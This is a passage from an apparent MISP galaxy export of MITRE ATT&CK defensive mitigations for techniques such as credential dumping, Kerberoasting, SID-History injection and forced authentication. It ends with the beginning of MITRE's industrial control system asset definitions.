Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the `Flags` value of `HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots` can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. Modify Existing Service Mitigation - T1031

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown

programs.

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: *misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"*

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of

activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as `C:\Windows`, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

Compiled HTML File Mitigation - T1223

Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

Stored Data Manipulation Mitigation - T1492

Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.

Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort. (Citation: Cybereason Dissecting DGAs) (Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. (Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (`netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no` on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool (`netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes` on the domain controller) Applying SID Filtering to domain trusts within a single forest is not

recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept

updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

Multiband Communication Mitigation - T1026

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Sudo Caching Mitigation - T1206

Setting the `timestamp_timeout` to 0 will require the user to input their password every time `sudo` is executed. Similarly, ensuring that the `tty_tickets` setting is enabled will prevent this leakage across tty sessions.

Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory `C:` and system directories, such as `C:\Windows\`, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl`. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>) or installation of keyloggers to acquire credentials through [Input Capture](<https://attack.mitre.org/techniques/T1056>). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they

are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](<https://attack.mitre.org/techniques/T1056>) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](<https://attack.mitre.org/techniques/T1110>) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](<https://attack.mitre.org/techniques/T1204>) occurs.

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"*

[View relationships graph](#)

https://attack.mitre.org/mitigations/T1136

Application Shimming Mitigation - T1138

There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"*

https://attack.mitre.org/mitigations/T1138

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>).

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"*

Process Doppelgänger Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänger may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker,

(Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

Security Updates - M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates.

On Android devices, access can be controlled based on each device's security patch level. On iOS devices, access can be controlled based on the iOS version.

Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](<https://attack.mitre.org/techniques/T1523>) exist that can enable adversaries to bypass vetting.

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Data Backup - M1053

Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.

Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

Assets

A list of asset categories that are commonly found in industrial control systems..

Assets is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

authors

MITRE

Control Server

A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).

The tag is: *misp-galaxy:mitre-ics-assets="Control Server"*

Table 4627. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Data Historian

A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.

The tag is: *misp-galaxy:mitre-ics-assets="Data Historian"*

Table 4628. Table References

Links
https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions

Engineering Workstation

The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.

The tag is: *misp-galaxy:mitre-ics-assets="Engineering Workstation"*

Field Controller/RTU/PLC/IED

